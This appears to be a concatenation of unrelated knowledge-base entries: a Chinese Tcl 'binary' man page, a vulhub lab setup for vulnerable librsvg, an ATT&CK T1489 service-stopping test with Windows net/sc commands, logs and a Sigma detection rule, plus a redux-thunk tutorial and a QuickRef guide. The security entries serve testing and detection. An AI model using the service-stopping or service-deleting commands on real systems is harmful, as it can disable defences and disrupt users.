.IP \fBs\fR 5
除了以小端(little-endian)字节序在输出串中存储一个或多个16位整数之外,这种形式同于 \fBc\fR。在当前位置上把每个整数的低位的16位存储成一个两字节的值,并且首先存储最低有效(significant)字节。例如,
.RS
.CS
\fBbinary format s3 {3 -3 258 1}\fR
.CE
将返回等价于 \fB\\x03\\x00\\xfd\\xff\\x02\\x01\fR 的一个字串。
.RE
.IP \fBS\fR 5
除了以大端(big-endian)字节序在输出串中存储一个或多个16位整数之外,这种形式同于 \fBs\fR 。例如,
.RS
.CS
\fBbinary format S3 {3 -3 258 1}\fR
.CE
将返回等价于 \fB\\x00\\x03\\xff\\xfd\\x01\\x02\fR 的一个串。
.RE
.IP \fBi\fR 5
除了以小端(little-endian)字节序在输出串中存储一个或多个32位整数之外,这种形式同于 \fBc\fR。在当前位置上把每个整数的低位的32位存储成一个四字节的值,并且首先存储最低有效字节。例如,
.RS
.CS
\fBbinary format i3 {3 -3 65536 1}\fR
.CE
将返回等价于 \fB\\x03\\x00\\x00\\x00\\xfd\\xff\\xff\\xff\\x00\\x00\\x01\\x00\fR 的一个串。
.RE
.IP \fBI\fR 5
除了以大端(big-endian)字节序在输出串中存储一个或多个32位整数之外,这种形式同于 \fBi\fR。例如,
.RS
.CS
\fBbinary format I3 {3 -3 65536 1}\fR
.CE
将返回等价于 \fB\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xfd\\x00\\x01\\x00\\x00\fR 的一个串。
.RE
.IP \fBf\fR 5
除了以机器的本地表示在输出串中存储一个或多个单精度浮点数之外,这种形式同于 \fBc\fR。这种表示是不能跨体系移植的,所以不应用于在网络上交流浮点数。浮点数的大小在体系间可能不同,所以生成的字节数也可能不同。如果值溢出了机器的本地表示,则使用系统定义的 FLT_MAX 的值。因为 Tcl 在内部使用双精度浮点数,在转换成单精度时可能损失些精度。例如,运行在 Intel Pentium 处理器的一个 Windows 系统上,
.RS
.CS
\fBbinary format f2 {1.6 3.4}\fR
.CE
将返回等价于 \fB\\xcd\\xcc\\xcc\\x3f\\x9a\\x99\\x59\\x40\fR 的一个串。
.RE
.IP \fBd\fR 5
除了以机器的本地表示在输出串中存储一个或多个双精度浮点数之外,这种形式同于 \fBf\fR。例如,运行在 Intel Pentium 处理器的一个 Windows 系统上,
.RS
.CS
\fBbinary format d1 {1.6}\fR
.CE
将返回等价于 \fB\\x9a\\x99\\x99\\x99\\x99\\x99\\xf9\\x3f\fR 的一个串。
.RE
.IP \fBx\fR 5
Stores \fIcount\fR null bytes in the output string. If \fIcount\fR is
not specified, stores one null byte. If \fIcount\fR is \fB*\fR,
generates an error. This type does not consume an argument. For
example,
.RS
.CS
\fBbinary format a3xa3x2a3 abc def ghi\fR
.CE
将返回等价于 \fBabc\\000def\\000\\000ghi\fR 的一个串。
.RE
.IP \fBX\fR 5
在输出串中反向移动游标 \fIcount\fR 字节。如果 \fIcount\fR 是 \fB*\fR 或比当前游标位置大,则游标定位到位置 0,这样下个存储的字节将是结果串中的第一个字节。如果省略了\fIcount\fR,则游标反向移动一字节。 这种形式不使用参数。例如,
.RS
.CS
\fBbinary format a3X*a3X2a3 abc def ghi\fR
.CE
将返回 \fBdghi\fR.
.RE
.IP \fB@\fR 5
在输出串中把游标移动到由 \fIcount\fR 指定的绝对位置上。位置 0 参照在输出串中的第一个字节。如果 \fIcount\fR 参照的位置超出至今所存储的最后的字节,则在空挡的(unitialized ?)位置上放置空字节并把游标放置到指定位置。如果 \fIcount\fR 是 \fB*\fR,则游标将被移动到输出串的末端。如果省略了 \fIcount\fR,则产生一个错误。这种类型不使用参数。例如,
.RS
.CS
\fBbinary format a5@2a1@*a3@10a1 abcde f ghi j\fR
.CE
将返回 \fBabfdeghi\\000\\000j\fR.
.RE
.SH "二进制检索 BINARY SCAN"
.PP
\fBbinary scan\fR 命令从一个二进制串分析字段、返回完成的转换的数目。\fIString\fR 给出要被分析的输入而 \fIformatString\fR 指示如何分析它。每个 \fIvarName\fR 给出一个变量的名字;当从 \fIstring\fR 检索出一个字段时,结果被赋给相应的变量。
.PP
如同 \fBbinary format\fR 那样,\fIformatString\fR 由零个或多个字段说明符(specifier)的序列组成,用零个或多个空格分隔。每个说明符都是一个单独的类型字符,跟随着一个可选的数值 \fIcount\fR。多数字段说明符消耗(consume)一个参数来获取检索出的值要放置在其中的那个变量。类型字符指定如何解释二进制串。\fIcount\fR 典型的指定从数据中接受指定类型的多少个单项(item)。如果存在,\fIcount\fR 是一个非负数的十进制整数或 \fB*\fR,星号通常指示要用到在数据中所有的剩余的单项。如果在满足当前字段说明符的当前位置之后没有剩下足够的字节,则相应的变量保持不动(untouch)而 \fBbinary scan\fR 立即返回设置了的变量的个数。如果没有足够的参数给所有这些消耗参数的格式串中的字段,则产生一个错误。
.PP
着重 (\fBimportant\fR) 注意 \fBc\fR, \fBs\fR 和 \fBS\fR(还有在64位系统上的 \fBi\fR 和 \fBI\fRI)将被检索成一个长整型 (long) 大小的值。在这种情况下,(最)高位设置(为1)的值(对于char 是 0x80,对于 short 是 0x8000,对于 int 是 0x80000000),将被符号扩展。所以下列情况将发生:
.CS
\fBset signShort [binary format s1 0x8000]\fR
\fBbinary scan $signShort s1 val; \fI# val == 0xFFFF8000\fR
.CE
如果你打算生成一个无符号值,那么你可以把返回值屏蔽(mask)成需要的大小。例如,要生成一个无符号 short 值:
.CS
\fBset val [expr {$val & 0xFFFF}]; \fI# val == 0x8000\fR
.CE
.PP
每个类型-数目(type-count)对在二进制串上移动一个假想的游标,从当前的位置上读一些字节。游标的初始在位置 0 也就是数据的开始(端)。类型可以是下列字符中的任意一个:
.IP \fBa\fR 5
数据是长度是 \fIcount\fR 的一个字符串。如果 \fIcount\fR 是 \fB*\fR,则在 string 中所有的剩余的字节将被检索到变量中。如果省略了 \fIcount\fR,则将检索一个字符。例如,
.RS
.CS
\fBbinary scan abcde\\000fghi a6a10 var1 var2\fR
.CE
将返回 \fB1\fR 并把等价于 \fBabcde\\000\fR 的一个字符串存储到 \fBvar1\fR 而 \fBvar2\fR 保持不变。
.RE
.IP \fBA\fR 5
除了在存储到变量之前从检索到的值中去除(strip)尾随的空白(blank)和空字符(null)之外,这种形式同于 \fBa\fR。例如
.RS
.CS
\fBbinary scan "abc efghi \\000" A* var1\fR
.CE
将返回 \fB1\fR 并把 \fBabc efghi\fR 存储到 \fBvar1\fR。
.RE
.IP \fBb\fR 5
把数据转换成 \fIcount\fR 位二进制数字的一个字符串,以从低到高的次序表示成“1”和“0”字符的一个序列。数据字节按从最先到最后的次序被检索,并且在每个字节中按从低到高的次序接受(每)位。忽略在最后的字节中的任何额外的位。如果 \fIcount\fR 是 \fB*\fR,则检索在串中的所有的剩余的位。 如果省略了 \fIcount\fR,则检索一位。例如,
.RS
.CS
\fBbinary scan \\x07\\x87\\x05 b5b* var1 var2\fR
.CE
将返回 \fB2\fR 并把 \fB11100\fR 存储到 \fBvar1\fR 且 \fB1110000110100000\fR 存储到 \fBvar2\fR.
.RE
.IP \fBB\fR 5
除了在每字节中按从高到低的次序接受(每)位之外,这种形式同于 \fBb\fR。例如,
.RS
.CS
\fBbinary scan \\x70\\x87\\x05 B5B* var1 var2\fR
.CE
将返回 \fB2\fR 并把 \fB01110\fR 存储到 \fBvar1\fR 且 \fB1000011100000101\fR 存储到 \fBvar2\fR.
.RE
.IP \fBh\fR 5
把数据转换成 \fIcount\fR 个十六进制数字的一个字符串,以从低到高的次序表示成一个在 “0123456789abcdefABCDEF” (字符)集中的字符的一个序列。按从最先到最后的次序检索数据字节,并且在每个字节中以从低到高的次序接受十六进制数字。忽略最后的字节中的任何额外的位。如果 \fIcount\fR 是 \fB*\fR, 则检索在串中所有剩余的十六进制数字。如果省略了 \fIcount\fR,则检索一位十六进制数字。例如,
.RS
.CS
\fBbinary scan \\x07\\x86\\x05 h3h* var1 var2\fR
.CE
将返回 \fB2\fR 并把 \fB706\fR 存储到 \fBvar1\fR 且 \fB50\fR 存储到n \fBvar2\fR.
.RE
.IP \fBH\fR 5
除了在每个字节中以从高到低的次序接受数字之外,这种形式同于 \fBh\fR。例如,
.RS
.CS
\fBbinary scan \\x07\\x86\\x05 H3H* var1 var2\fR
.CE
将返回 \fB2\fR 并把 \fB078\fR 存储到\fBvar1\fR 且 \fB05\fR 存储到 \fBvar2\fR.
.RE
.IP \fBc\fR 5
把数据转换成 \fIcount\fR 个8位有符号整数并作为一个列表存储到相应的变量中。如果 \fIcount\fR 是 \fB*\fR,则检索在串中所有剩余的字节。如果省略了 \fIcount\fR,则检索一个8位整数。例如,
.RS
.CS
\fBbinary scan \\x07\\x86\\x05 c2c* var1 var2\fR
.CE
将返回\fB2\fR 并把 \fB7 -122\fR 存储到 \fBvar1\fR 且 \fB5\fR 存储到 \fBvar2\fR. 注意返回的整数是有符号的,但它们是类似下面这样的表达式来转换成无符号的8位数量(quantity):
.CS
\fBexpr ( $num + 0x100 ) % 0x100\fR
.CE
.RE
.IP \fBs\fR 5
把数据解释成 \fIcount\fR 个表示为小端字节序的16位有符号整数。 整数被作为一个列表存储到相应的变量中。如果 \fIcount\fR 是 \fB*\fR,则检索在串中所有剩余的字节。如果省略了 \fIcount\fR,则检索一个16位整数。例如,
.RS
.CS
\fBbinary scan \\x05\\x00\\x07\\x00\\xf0\\xff s2s* var1 var2\fR
.CE
将返回 \fB2\fR 并把 \fB5 7\fR 存储到 \fBvar1\fR 且 \fB-16\fR 存储到 \fBvar2\fR. 注意返回的整数是有符号的,但它们是类似下面这样的表达式来转换成无符号的16位数量(quantity):
.CS
\fBexpr ( $num + 0x10000 ) % 0x10000\fR
.CE
.RE
.IP \fBS\fR 5
除了把数据解释成 \fIcount\fR 个表示为大端字节序的16位有符号整数之外,这种形式同于 \fBs\fR。例如,
.RS
.CS
\fBbinary scan \\x00\\x05\\x00\\x07\\xff\\xf0 S2S* var1 var2\fR
.CE
将返回 \fB2\fR 并把 \fB5 7\fR 存储到 \fBvar1\fR 且 \fB-16\fR 存储到 \fBvar2\fR.
.RE
.IP \fBi\fR 5
把数据解释成 \fIcount\fR 个表示为小端字节序的32位有符号整数。 整数被作为一个列表存储到相应的变量中。如果 \fIcount\fR 是 \fB*\fR,则检索在串中所有剩余的字节。如果省略了 \fIcount\fR,则检索一个32位整数。例如,
.RS
.CS
\fBbinary scan \\x05\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\xf0\\xff\\xff\\xff i2i* var1 var2\fR
.CE
将返回 \fB2\fR ,并把 \fB5 7\fR 存储到 \fBvar1\fR 且 \fB-16\fR 存储到 \fBvar2\fR。注意返回的整数是有符号的并且不能被 Tcl 表示成无符号的值。
.RE
.IP \fBI\fR 5
除了把数据解释成 \fIcount\fR 个表示为大端字节序的32位有符号整数之外,这种形式同于 \fBi\fR。例如,
.RS
.CS
\fBbinary \\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x07\\xff\\xff\\xff\\xf0 I2I* var1 var2\fR
.CE
将返回 \fB2\fR ,并把 \fB5 7\fR 存储到 \fBvar1\fR 且 \fB-16\fR 存储到 \fBvar2\fR。
.RE
.IP \fBf\fR 5
把数据解释成 \fIcount\fR 个机器本地表示的单精度浮点数,把浮点数作为一个列表存储到相应的变量中 。如果 \fIcount\fR 是 \fB*\fR,则检索在串中所有剩余的字节。如果省略了 \fIcount\fR,则检索一个单精度浮点数。 浮点数的大小在体系间可能不同,所以检索的字节数也可能不同。如果数据不表示一个有效的浮点数,结果值是未定义的并且依赖于编译器。例如,运行在 Intel Pentium 处理器的一个 Windows 系统上,
.RS
.CS
\fBbinary scan \\x3f\\xcc\\xcc\\xcd f var1\fR
.CE
将返回 \fB1\fR,并把 \fB1.6000000238418579\fR 存储到 \fBvar1\fR。
.RE
.IP \fBd\fR 5
除了把数据解释成 \fIcount\fR 个机器本地表示的双精度浮点数之外,这种形式同
于 \fBf\fR。例如,运行在 Intel Pentium 处理器的一个 Windows 系统上,
.RS
.CS
\fBbinary scan \\x9a\\x99\\x99\\x99\\x99\\x99\\xf9\\x3f d var1\fR
.CE
将返回 \fB1\fR ,并把 \fB1.6000000000000001\fR 存储到 \fBvar1\fR1。
.RE
.IP \fBx\fR 5
在 \fIstring\fR 中正向移动游标 \fIcount\fR 字节。如果 \fIcount\fR 是 \fB*\fR 或比当前游标位置之后的字节数大,则游标定位到位置 \fIstring\fR 中的最后一个字节之后。如果省略了\fIcount\fR,则游标正向移动一字节。 注意 这种形式不消耗参数。例如,
.RS
.CS
\fBbinary scan \\x01\\x02\\x03\\x04 x2H* var1\fR
.CE
将返回 \fB1\fR,并把 \fB0304\fR 存储到 \fBvar1\fR。
.RE
.IP \fBX\fR 5
在 \fIstring\fR 中反向移动游标 \fIcount\fR 字节。如果 \fIcount\fR 是 \fB*\fR 或比当前游标位置大,则游标定位到位置 0,这样下个检索的字节将是 \fIstring\fR 中的第一个字节。如果省略了\fIcount\fR,则游标反向移动一字节。 注意这种形式不消耗参数。例如,
.RS
.CS
\fBbinary scan \\x01\\x02\\x03\\x04 c2XH* var1 var2\fR
.CE
将返回 \fB2\fR,并把 \fB1 2\fR 存储到 \fBvar1\fR 且 \fB020304\fR 存储到 \fBvar2\fR。
.RE
.IP \fB@\fR 5
在数据串中把游标移动到由 \fIcount\fRt 指定的绝对位置上。位置 0 参照在 \fIstring\fR 中的第一个字节。如果 \fIcount\fR 参照的位置超出 \fIstring\fR 的末端,则把游标定位在最后的字节的后面。如果省略了 \fIcount\fR,则产生一个错误。例如,
.RS
.CS
\fBbinary scan \\x01\\x02\\x03\\x04 c2@1H* var1 var2\fR
.CE
将返回 2 ,并把 1 2 存储到 var1 且 020304 存储到 var2。
.RE
.SH "平台相关事宜 PLATFORM ISSUES"
有时希望以机器的本地字节序来格式化或检索整数值。参照 \fBtcl_platform\fR 数组中的 \fBbyteOrder\fR 元素来决定在格式化或检索整数时使用那种类型字符。
.SH "参见 SEE ALSO"
format(n), scan(n), tclvars(n)
.SH 关键字 KEYWORDS
binary, format, scan
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/21
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/librsvg:2.50.7-php
command: php -t /var/www/html -S 0.0.0.0:8080
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:8080"
|
sec-knowleage
|
# T1489-win-停止服务
## 来自ATT&CK的描述
攻击者可以停止或禁用系统上的服务,以使合法用户无法使用这些服务。停止关键服务可以抑制或停止这些服务对攻击者入侵相关事件的响应,或者帮助攻击者对系统环境进行破坏。
攻击者可以禁用对组织很重要的单个服务来实现这一目标,例如MSExchangeIS,这回导致Exchange内容无法访问。在某些情况下,攻击者可能会停止或禁用许多或所有服务,从而使系统无法使用。服务可能不允许在运行时修改其存储的数据。攻击者可能会停止服务,从而对Exchange和SQL Server等服务的存储数据进行销毁数据和加密数据。
## 测试案例
使用Windows命令行启动关闭服务(net,sc用法),最好是在管理员权限下使用
### net用于打开没有被禁用的服务
NET命令是功能强大的以命令行方式执行的工具。
它包含了管理网络环境、服务、用户、登陆大部分重要的管理功能,关于这些功能这里不再一一讲解,具体可参考微软官方说明。
启动和关闭服务的时候,其语法是:
net start 服务名
net stop 服务名
### sc可用于打开被禁用的服务
使用sc程序(也可以查看服务状态)可以创建服务、删除服务、打开与关闭服务
sc是用于与服务控制管理器和服务进行通信的命令行程序,其语法是:
```yml
sc config 服务名 start= demand //手动
sc config 服务名 start= auto //自动
sc config 服务名 start= disabled //禁用
sc start 服务名 开启服务
sc stop 服务名 停止服务
sc query 服务名 查看服务状态
sc delete 服务名 删除服务
sc qc 服务名 查看服务的配置信息
sc create scname binPath=xxx.exe 创建服务
```
## 检测日志
windows 安全日志
## 测试复现
这里只演示使用net命令关闭服务,利用sc命令关闭服务的方法,在这里不做演示。
```bash
C:\Users\Administrator>net stop vmtools
VMware Tools 服务已成功停止。
C:\Users\Administrator>net start vmtools
VMware Tools 服务正在启动 .
VMware Tools 服务已经启动成功。
```
通过观察本地服务信息,发现vmtools服务已经被关闭。记得是net stop后面跟的是服务名称。
## 测试留痕
windows 安全日志
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x7169C
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0xd9c
新进程名称: C:\Windows\System32\net.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x15d0
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: net stop vmtools
```
## 检测规则/思路
### sigma规则
```yml
title: windows下使用net/sc命令关闭服务
description: Windows下使用net stop/sc stop 关闭服务,用于逃避监视。
tags: T1489
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #进程创建
Processcommandline|contains:
- 'net stop' #进程信息>进程命令行
- 'sc stop' #进程信息>进程命令行
condition: selection
level: low
```
## 建议
监视进程和命令行参数用于查看关键进程是运行还是停止运行。
## 参考推荐
MITRE-ATT&CK-T1489
<https://attack.mitre.org/techniques/T1489/>
使用Windows命令行启动关闭服务(net,sc用法)
<https://www.cnblogs.com/qlqwjy/p/8010598.html>
|
sec-knowleage
|
# hello react-thunk
`thunk`:模式转换
### Action Creator
Action Creator 不是 thunk 的功能,是 redux 自带功能,但是 thunk 发挥作用,就是在 action creator 里面。所以介绍 thunk 之前先单纯用一下 Action Creator
Action creator 是 Flux 的产物,用来创建 Action,它是一个函数,返回值为 Action对象。所以它的唯一功能就是返回一个 Action 供 dispatch 进行调用
>functions that create actions
创建 Action 函数 (可以复用)
```js
let addTodo = (data='default data') => {
return {
type: ADD_TODO,
data: data
}
}
//触发action
store.dispatch(addTodo())
```
这样如果有多个行为触发同一个Action,只要调用一下函数 addTodo 就行,并将Action要携带的数据传递给该函数。类似 addTodo 这样的函数,称之为 `Action Creator`
这样的Action Creator 返回的Action 并不是一个标准的Action
改为:
```js
let addTodo = (data='default data') => {
return {
type: ADD_TODO,
payload: {
data
}
}
}
```
**小贴士**:payload 为一个对象
### 引入redux-thunk
有了 redux-thunk ,redux 的工作模式就会发生一定的“转换”[官网](https://github.com/gaearon/redux-thunk)是这样说的
>Redux Thunk middleware allows you to write action creators that return a function instead of an action.
**说明**:Redux-thunk 中间件允许我们的 action creator 不直接返回 action ,而是去返回一个函数
这样做的好处是:(后面会根据这两点使用 thunk)
- 可以直接在 Action Creator 里运行 dispath
- 最重要的是实现 **异步操作**
ok,大概了解了一下后,我们安装来使用一下,感受它的魅力。
### 安装
装包
```
npm i redux-thunk --save
```
在store.js中:
```js
import { createStore, applyMiddleware } from 'redux';
import thunk from 'redux-thunk'
```
**小贴士**:applyMiddleware 使用中间件
### 什么是中间件
中间件就是一个函数,对`store.dispatch`方法进行了改造,在发出 `Action` 和执行 `Reducer` 这两步之间,添加了其他功能。
`applyMiddleware`会返回一个函数,该函数接收原来的 `creatStore `作为参数,返回一个应用了 applymiddlewares 的增强后的 creatStore。
```js
const store = createStore(rootReducer, applyMiddleware(thunk))
```
### 使用 dispatch
前面提过的第一个好处:直接在Action Creator里运行dispath。这样子组件`commentBox`就不需要导入 store ,也不用 store.dispatch 了。
在actions/commentActions.js 中,就可以使用下面的语法
```js
export function addComment() {
return dispatch => {
dispatch({type: 'ADD_COMMENT'})
}
}
```
上面的 action creator 中,不仅仅有 action ,而且直接 dispatch 了这个 action
到 `commentBox` 组件中,我们直接导入 addComment 使用,Action Creator 中的 dispatch 语句是不会执行的
解决方法就是进行 connect ,把这个函数跟 redux 的 store 连接起来,这样就会被注入进props里
```js
`commentBox.js` 中
export default connect(mapStateToProps, {addComment})(CommentBox);
```
然后,后面使用 this.props.addComment() 来呼叫执行 Action Creator 。这样 dispatch 就工作了,action 就被发出了。
### 异步操作
Action Creator 中运行 dispatch ,目的主要就是服务异步操作。
注:实现异步操作的主要形式 ?主要形式是回调函数(call back) 更为流行的是promise(axios) .异步操作最大特点:非阻塞(no-blocking)
没有thunk,redux的默认工作机制是:一旦用户触发事件,action立即发出,reducer立即执行,store立即改变。这种机制在很多情况下是不能满足要求的,通常我们要在action中用axios请求数据时需要请求一定的时间,而不是立即发出action。有了 thunk 之后,即使要等很长时间也没有问题,因为 dispatch 操作可以**等待**网络请求结束之后再去执行。
#### 分析一下上面这种情况的流程:
先抛开 thunk ,只要我用 redux ,那么事情的起点就是:浏览器的一个事件。事件触发 dispatch(action) 。
用了 thunk 之后,思路也是相同的。就是在页面加载这个事件中触发 dispatch 操作。
具体来说:在 componentWillMount() 中,去呼叫 Action Creator ,然后,Action Creator 中首先发起网络请求,请求拿到数据之后,去 dispatch 。接下来触发 reducer ,修改 state ... 这些都和 redux 的普通思路相符了。
OK,流程搞清楚后,就很好实现了。
### 总结
首先说明一点:thunk不是必须的,没有它我们也同样可以实现你想完成的事情,如果你是一个小应用大可不必使用,如果大应用还是要使用thunk.因为redux-thunk 帮助你**统一了异步和同步 action 的调用方式,把异步过程放在 action 级别解决,对 component 没有影响。**
刚刚接触新的概念肯定会云里雾里,我通常就是结合上代码来反复体验一下流程,这样对理解这个API的机制,熟练的运用它是非常有帮助的。我开始写也总忘记这个代码的格式是怎么写的,先总结一下,以便来回查阅,理解。
代码书写总结:
在`store.js`中:(装包redux-thunk)
```js
import {createStore,applyMiddleware} from 'redux'
import thunk from 'redux-thunk'
import rootReducer from './reducer'
const store = createStore(rootReducer, applyMiddleware(thunk))
export default store
```
在子组件`commentBox.js`中(在触发的事件中呼叫对应的Action Creator)
```js
import { connect } from 'react-redux'
import {fetchComments,addComment} from './actions/commentAction'
//导入要用到的action
...
//首次挂载组件呼叫fetchComments:
componentWillMount(){
this.props.fetchComments()
}
//点击提交按钮时呼叫addComment:
handleSubmit(e) {
e.preventDefault()
const content = this.textInput.value
this.props.addComment(content,this.props.id)
//addComment是可以传值给action里的
this.refs.commentForm.reset()
}
export default connect(mapStateToProps,{fetchComments,addComment})(CommentBox)
//connect后才会使props中有fetchComments和addComment
```
在`action.js`中:(Action Creator被呼叫后就会执行)
```js
const fetchComments = () =>(
dispatch =>{
axios.get('http://redux-hello.haoduoshipin.com/comments')
.then( res => dispatch({type:'COMMENT',comments:res.data.comments}))
}
)
//组件首次挂载时要渲染:get请求完拿到数据后,再dispatch
const addComment = (comment,postId) =>(
dispatch =>{
const data={
commentBody:comment,
postId
}
axios.post('http://redux-hello.haoduoshipin.com/comments',data).then(
dispatch({type:'ADD_COMMENT',comment,postId}))
}
)
//点击提交按钮后给添加评论:先把添加的数据定义好,再post请求添加数据,请求后再dispatch
export {fetchComments,addComment} //命名导出
```
### 参考
- Github地址:[点击进入](https://github.com/gaearon/redux-thunk)
- React笔记:[点击进入](http://www.8dou5che.com/2017/01/13/react/)
- happypeter:[点击进入](https://happypeter.github.io/js-tiger/redux/14-hello-world.html)
- 阮一峰教程:[点击进入](http://www.ruanyifeng.com/blog/2016/09/redux_tutorial_part_two_async_operations.html)
|
sec-knowleage
|
---
title: QuickRef
date: 2020-11-25 18:28:43
background: bg-gradient-to-l from-green-400 to-blue-500 hover:from-pink-500 hover:to-yellow-500
tags:
- guide
- reference
categories:
- Other
intro: This is the magic syntax variant manual that you can use on QuickRef.ME, It's a good practice for contributors.
plugins:
- copyCode
---
Getting Started
--------------------
### Develop Setup
- Clone Repository [View on Github](https://github.com/Fechin/reference.git)
```shell script {.wrap}
$ git clone https://github.com/Fechin/reference.git
```
- Install Dependencies in the project directory
```shell script
$ npm install
```
- Start a Dev Server [http://localhost:4000](http://localhost:4000)
```shell script
$ npm run dev
```
- Create or modify `source/_posts/{name}.md`
- Send us pull request and chill
{.marker-timeline}
It's a good practice to refer to the source code of the [QuickRef cheatsheet](https://github.com/Fechin/reference/blob/main/source/_posts/quickref.md).
### Directory Structure
```yaml
.
├── source
│ ├── _posts # Cheatsheet source files
│ │ ├── awk.md
│ │ ├── vim.md # => quickref.me/vim
│ │ ├── php.md
│ │ ├── css.md # => quickref.me/css
│ │ ├── ...
│ └── widget # Widget files
│ └── chmod.html
├── public # Distribution files
├── _config.yml
├── gulpfile.js
├── package.json
├── postcss.config.js
├── tailwind.config.js
└── themes
└── coo # Theme files
```
### Cheatsheet Structure {.row-span-2}
```yaml
.
├── Section 1
│ ├── Card 1
│ ├── Card 2
│ ├── Card 3
│ ├── ...
├── Section 2
│ ├── Card 1
│ │ ├── Paragraph
│ │ ├── Code
│ │ ├── <hr/> (aka "---")
│ │ ├── List
│ │ │ ├── Paragraph
│ │ │ └── Code
│ │ └── Table
│ │ ├── Paragraph
│ │ └── Code
│ ├── Card 2
│ ├── Card 3
│ └── ...
├── Section 3
├── Section 4
└── ...
```
---------
- One cheatsheet contains multiple sections
- One section contains multiple cards
- One card can contain Code, Table, List and Paragraph
- One list can contain Code and Paragraph
- One table can contain Code and Paragraph
### Syntax Variants
- [Section Variants](#section-variants)
- [Card Variants](#card-variants)
- [Table Variants](#table-variants)
- [List Variants](#list-variants)
- [Code Variants](#code-variants)
- [Paragraph Variants](#paragraph-variants)
- [Cards Example](#cards-example)
All the magic variants supported by QuickRef.ME
### Create source/_posts/demo.md
```markdown
Getting Started
---------------
### List Card {.col-span-2}
- Share quick reference
- Cheatsheet for developers
...
{.style-timeline}
### Table Card
| id | name |
|----|---------|
| 1 | Roberta |
{.show-header}
```
Section Variants
--------------------
### Section Overview {.secondary}
| - | - |
|-------------|---------------------------------|
| `{.cols-1}` | one-column layout |
| `{.cols-2}` | two-column layout |
| `{.cols-3}` | three-column layout _(default)_ |
| ... | |
| `{.cols-6}` | six-column layout |
-------
- Section contains multiple cards
- Use {.cols-`n`} to specify section as a `n`-column layout
- Click the preview button below to focus on the section
[Preview](/quickref#section-variants) {.link-arrow}
### .cols-1
```text
# One Column Example {.cols-1}
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
┆ 2 ┆
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯
```
#### ↓ Source Code
```markdown
One Column Example {.cols-1}
----------
### 1
### 2
```
[Preview](resolutions#lists-of-resolutions) {.link-arrow}
### .cols-2
```text
# Two Columns Example
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯
```
#### ↓ Source Code
```markdown
Two Columns Example {.cols-2}
----------
### 1
### 2
### 3
```
[Preview](resolutions#getting-started) {.link-arrow}
### .cols-3 (default)
```text
# Default
╭┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆ ┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈┈╮
┆ 4 ┆
╰┈┈┈┈┈┈┈┈┈┈╯
```
#### ↓ Source Code
```markdown
Default
----------
### 1
### 2
### 3
### 4
```
Card Variants
--------------------
### Card Overview {.secondary}
#### Specifies the number of columns the card spans
| - | - |
|-----------------|---|
| `{.col-span-2}` | [Example](#col-span-2) |
| `{.col-span-3}` | |
| ... | |
| `.col-span-6}` | |
#### Specifies the number of rows the card spans {.text-left}
| - | - |
|-----------------|---|
| `{.row-span-2}` | [Example](#row-span-2) |
| `{.row-span-3}` | |
| ... | |
| `{.row-span-6}` | |
#### Emphasize card (aka `H3` Section)
| - | - |
|----------------|-------------------------------------------------------|
| `{.primary}` | Red titles, [Example](#primary-card) |
| `{.secondary}` | Yellow titles, [Example](#secondary-card) |
A complete example: [Cards Example](#cards-example)
### .col-span-2 {.row-span-2}
#### The fifth card spans two columns
```markdown
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆ ┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
┆ 4 ┆ ┆ 5 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯
```
-----------
```markdown
### 1
### 2
### 3
### 4
### 5 {.col-span-2}
```
#### The second card spans two columns
```markdown
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆
